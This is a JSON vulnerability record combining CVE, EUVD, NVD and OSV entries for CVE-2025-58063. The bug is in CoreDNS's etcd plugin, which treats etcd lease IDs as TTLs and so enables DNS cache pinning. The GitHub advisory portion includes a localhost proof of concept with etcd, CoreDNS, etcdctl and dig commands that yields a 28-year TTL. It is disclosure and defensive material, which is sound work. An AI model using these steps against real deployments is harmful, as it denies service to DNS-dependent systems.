{"id":"GO-2025-3942","revision":null,"records":[{"revision":"c1b8713616ac46848ef11c467f771891","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2025-58063","aliases":[],"title":"CoreDNS: DNS Cache Pinning via etcd Lease ID Confusion","description":"CoreDNS is a DNS server that chains plugins. Starting in version 1.2.0 and prior to version 1.12.4, the CoreDNS etcd plugin contains a TTL confusion vulnerability where lease IDs are incorrectly used as TTL values, enabling DNS cache pinning attacks. This effectively creates a DoS condition for DNS resolution of affected services. The `TTL()` function in `plugin/etcd/etcd.go` incorrectly casts etcd lease IDs (64-bit integers) to uint32 and uses them as TTL values. Large lease IDs become very large TTLs when cast to uint32. This enables cache pinning attacks. Version 1.12.4 contains a fix for the issue.","state":0,"publishedAt":"2025-09-09T19:27:18.124+00:00","modifiedAt":"2025-09-10T14:26:13.85+00:00","affected":[{"ecosystem":"Vendor product","name":"coredns","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"coredns\",\n                    \"product\": \"coredns\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 1.2.0, < 1.12.4\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H","score":7.1,"severity":"HIGH"}],"references":["https://github.com/coredns/coredns/security/advisories/GHSA-93mf-426m-g6x9","https://github.com/coredns/coredns/commit/e1768a5d272e9da649dfb8588595e5c6e4e640bf"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-58063","license":"CVE Program Terms of Use","key":"cve-program:CVE-2025-58063","identifiers":["CVE-2025-58063"]},"retained":false,"historicalAffected":[]},{"revision":"5c38cb77d2844c2e91c46184345bbe79","observedAt":"2026-11-07T02:42:05.899+00:00","statement":{"source":"euvd","id":"EUVD-2025-33973","aliases":["CVE-2025-58063","GHSA-93mf-426m-g6x9"],"title":"CoreDNS is a DNS server that chains plugins. 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Version 1.12.4 contains a fix for the issue.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H","score":7.1,"severity":null}],"references":["https://github.com/coredns/coredns/security/advisories/GHSA-93mf-426m-g6x9","https://github.com/coredns/coredns/commit/e1768a5d272e9da649dfb8588595e5c6e4e640bf"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2025-33973","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 9, 2025, 7:27:18 PM","dateUpdated":"Sep 10, 2025, 2:26:13 PM"},"relatedAdvisories":[{"id":"openSUSE-SU-2025:15564-1","title":"govulncheck-vulndb-0.0.20250917T170349-1.1 on GA media","vulnerabilityIds":["CVE-2025-4953","CVE-2025-54123","CVE-2025-54376","CVE-2025-58058","CVE-2025-58063","CVE-2025-58157","CVE-2025-58158","CVE-2025-58430","CVE-2025-58437","CVE-2025-58445","CVE-2025-58450","CVE-2025-59358","CVE-2025-59359","CVE-2025-59360","CVE-2025-59361","CVE-2025-7445","CVE-2025-8396","CVE-2025-9072","CVE-2025-9076","CVE-2025-9078","CVE-2025-9084"]},{"id":"openSUSE-SU-2026:20099-1","title":"Security update for coredns","vulnerabilityIds":["CVE-2024-51744","CVE-2025-58063","CVE-2025-68156","CVE-2025-68161"]},{"id":"WID-SEC-W-2025-2014","title":"CoreDNS: Schwachstelle ermöglicht Denial of Service","vulnerabilityIds":["CVE-2025-58063"]},{"id":"msrc_CVE-2025-58063","title":"CoreDNS: DNS Cache Pinning via etcd Lease ID Confusion","vulnerabilityIds":["CVE-2025-58063"]},{"id":"openSUSE-SU-2025:15561-1","title":"coredns-1.12.4-2.1 on GA media","vulnerabilityIds":["CVE-2025-58063"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2025-33973","identifiers":["EUVD-2025-33973","CVE-2025-58063","GHSA-93mf-426m-g6x9"]},"retained":false,"historicalAffected":[]},{"revision":"0691637657ef4c7a9f9c2da36963e264","observedAt":"2026-10-25T03:17:18.142+00:00","statement":{"source":"nvd","id":"CVE-2025-58063","aliases":[],"title":"CoreDNS is a DNS server that chains plugins. Starting in version 1.2.0 and prior to version 1.12.4, the CoreDNS etcd plugin contains a TTL confusion vulnerability where lease IDs are incorrectly used as TTL values, enabling DNS cache pinnin…","description":"CoreDNS is a DNS server that chains plugins. Starting in version 1.2.0 and prior to version 1.12.4, the CoreDNS etcd plugin contains a TTL confusion vulnerability where lease IDs are incorrectly used as TTL values, enabling DNS cache pinning attacks. This effectively creates a DoS condition for DNS resolution of affected services. The `TTL()` function in `plugin/etcd/etcd.go` incorrectly casts etcd lease IDs (64-bit integers) to uint32 and uses them as TTL values. Large lease IDs become very large TTLs when cast to uint32. This enables cache pinning attacks. Version 1.12.4 contains a fix for the issue.","state":0,"publishedAt":"2025-09-09T20:15:48.057+00:00","modifiedAt":"2026-10-19T17:10:00.173+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H","score":7.1,"severity":"HIGH"}],"references":["https://github.com/coredns/coredns/commit/e1768a5d272e9da649dfb8588595e5c6e4e640bf","https://github.com/coredns/coredns/security/advisories/GHSA-93mf-426m-g6x9"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-58063","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-681"],"productCriteria":[],"sourceDates":{"published":"2025-09-09T20:15:48.057","lastModified":"2026-10-19T17:10:00.173"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2025-58063","identifiers":["CVE-2025-58063"]},"retained":false,"historicalAffected":[]},{"revision":"e635a45822ee48b4804a730ec62ea6b5","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-93mf-426m-g6x9","aliases":["CVE-2025-58063","GO-2025-3942"],"title":"CoreDNS: DNS Cache Pinning via etcd Lease ID Confusion","description":"# Summary\n\nThe CoreDNS etcd plugin contains a TTL confusion vulnerability where lease IDs are incorrectly used as TTL values, enabling cache pinning for very long periods. This can effectively cause a denial of service for DNS updates/changes to affected services.\n\n# Details\n\nIn `plugin/etcd/etcd.go`, the `TTL()` function casts the 64-bit etcd lease ID to a uint32 and uses it as the TTL:\n\n```go\nfunc (e *Etcd) TTL(kv *mvccpb.KeyValue, serv *msg.Service) uint32 {\n    etcdTTL := uint32(kv.Lease)  // BUG: Lease ID != TTL duration\n    // ... rest of function uses etcdTTL as actual TTL\n}\n```\n\nLease IDs are identifiers, not durations. Large lease IDs can produce very large TTLs after truncation, causing downstream resolvers and clients to cache answers for years.\n\nThis enables cache pinning attacks, such as:\n\n1. Attacker has etcd write access (compromised service account, misconfigured RBAC/TLS, exposed etcd, insider).\n2. Attacker writes/updates a key and attaches any lease (the actual lease duration is irrelevant; the ID is misused).\n4. CoreDNS serves the record with an extreme TTL; downstream resolvers/clients cache it for a very long time.\n5. Even after fixing/deleting the key (or restarting CoreDNS), clients continue to use the cached answer until their caches expire or enforce their own TTL caps.\n\nSome resolvers implement TTL caps, but values and defaults vary widely and are not guaranteed.\n\n# PoC\n\n1. Launch etcd:\n\n```bash\netcd \\\n  --data-dir ./etcd-data \\\n  --listen-client-urls http://127.0.0.1:2379 \\\n  --advertise-client-urls http://127.0.0.1:2379 \\\n  --listen-peer-urls http://127.0.0.1:2380 \\\n  --initial-advertise-peer-urls http://127.0.0.1:2380 \\\n  --initial-cluster default=http://127.0.0.1:2380 \\\n  --name default \\\n  --initial-cluster-token etcd-ttl-poc \\\n  --initial-cluster-state new &\n```\n\n2. Prepare CoreDNS configuration:\n\n```bash\ncat > Corefile << 'EOF'\nskydns.local {\n    etcd {\n        path /skydns\n        endpoint http://localhost:2379\n        debug\n    }\n    log\n    errors\n}\nEOF\n```\n\n3. Launch CoreDNS:\n\n```bash\ncoredns -conf Corefile -dns.port=1053\n```\n\n4. Create an etcd record called `large-lease-service` with a lease grant of 1 hour:\n\n```bash\nLEASE_ID=$(etcdctl --endpoints=http://127.0.0.1:2379 lease grant 3600 | awk '{print $2}')\n\netcdctl --endpoints=http://127.0.0.1:2379 put /skydns/local/skydns/large-lease-service '{\n  \"host\": \"192.168.1.101\",\n  \"port\": 8080\n}' --lease=$LEASE_ID\n```\n\n7. Verify the lease details:\n\n```bash\n$ etcdctl lease timetolive $LEASE_ID\nlease 7c4a98dd35b75c23 granted with TTL(3600s), remaining(3252s)\n```\n\n8. Query the DNS record and observe the record TTL at 28 years:\n\n```bash\n$ dig +noall +answer @127.0.0.1 -p 1053 large-lease-service.skydns.local A\nlarge-lease-service.skydns.local. 901209123 IN A 192.168.1.101\n```\n\n# Impact\n\nAffects any CoreDNS deployment using the etcd plugin for service discovery.\n\n- Availability: High as service changes (IP rotations, failovers, rollbacks) may be ignored for extended periods by caches.\n- Integrity: Low as stale/incorrect answers persist abnormally long. (Note: attacker with etcd write could already point to malicious endpoints; the bug magnifies persistence.)\n- Confidentiality: None.\n\nThe bug was introduced in #1702 as part of the CoreDNS [v1.2.0 release](https://github.com/coredns/coredns/releases/tag/v1.2.0).\n\n# Mitigation\n\nThe TTL function should utilise etcd's Lease API to determine the proper TTL for leased records. Add configurable limits for minimum and maximum TTL when passing lease records, to clamp potentially extreme TTL values set as lease grant.\n\n# Credit\n\nThanks to [@thevilledev](https://github.com/thevilledev) for disclovering this vulnerability and contributing a fix.\n\n# For more information\n\nPlease consult our [security guide](https://github.com/coredns/coredns/blob/master/.github/SECURITY.md) for more information regarding our security process.","state":0,"publishedAt":"2025-09-09T19:19:33+00:00","modifiedAt":"2026-09-10T03:50:28.0639431+00:00","affected":[{"ecosystem":"Go","name":"github.com/coredns/coredns","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.2.0"},{"kind":"fixed","version":"1.12.4"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/coredns/coredns/security/advisories/GHSA-93mf-426m-g6x9","https://nvd.nist.gov/vuln/detail/CVE-2025-58063","https://github.com/coredns/coredns/commit/e1768a5d272e9da649dfb8588595e5c6e4e640bf","https://github.com/coredns/coredns"],"sourceUrl":"https://github.com/advisories/GHSA-93mf-426m-g6x9","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-93mf-426m-g6x9","identifiers":["GHSA-93mf-426m-g6x9","CVE-2025-58063","GO-2025-3942"]},"retained":false,"historicalAffected":[]},{"revision":"fc616f08b8014e3ab3ac5947c4bd251d","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2025-3942","aliases":["CVE-2025-58063","GHSA-93mf-426m-g6x9"],"title":"CoreDNS: DNS Cache Pinning via etcd Lease ID Confusion in github.com/coredns/coredns","description":"CoreDNS: DNS Cache Pinning via etcd Lease ID Confusion in github.com/coredns/coredns","state":0,"publishedAt":"2025-09-17T17:03:49+00:00","modifiedAt":"2026-02-04T02:26:40.371617+00:00","affected":[{"ecosystem":"Go","name":"github.com/coredns/coredns","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.2.0"},{"kind":"fixed","version":"1.12.4"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/coredns/coredns/security/advisories/GHSA-93mf-426m-g6x9","https://nvd.nist.gov/vuln/detail/CVE-2025-58063","https://github.com/coredns/coredns/commit/e1768a5d272e9da649dfb8588595e5c6e4e640bf"],"sourceUrl":"https://osv.dev/vulnerability/GO-2025-3942","license":"OSV · upstream source license applies","key":"osv:GO-2025-3942","identifiers":["GO-2025-3942","CVE-2025-58063","GHSA-93mf-426m-g6x9"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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